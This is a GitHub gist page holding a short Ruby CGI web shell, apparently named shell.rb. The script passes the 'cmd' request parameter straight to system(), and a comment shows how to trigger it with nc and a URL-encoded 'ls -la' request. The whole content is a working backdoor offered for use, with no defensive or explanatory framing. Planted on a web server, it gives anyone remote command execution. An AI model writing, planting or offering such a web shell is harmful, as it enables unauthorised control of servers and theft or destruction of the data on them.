Skip to content

Instantly share code, notes, and snippets.

@KINGSABRI
Last active August 29, 2015 14:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save KINGSABRI/35d53008834e7aa7a306 to your computer and use it in GitHub Desktop.
Save KINGSABRI/35d53008834e7aa7a306 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
# echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80
require 'cgi'
cgi = CGI.new
puts cgi.header
system(cgi['cmd'])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment